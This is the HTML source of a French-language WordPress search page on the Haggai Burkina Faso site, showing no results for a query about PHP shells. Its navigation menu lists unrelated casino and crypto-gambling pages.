1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
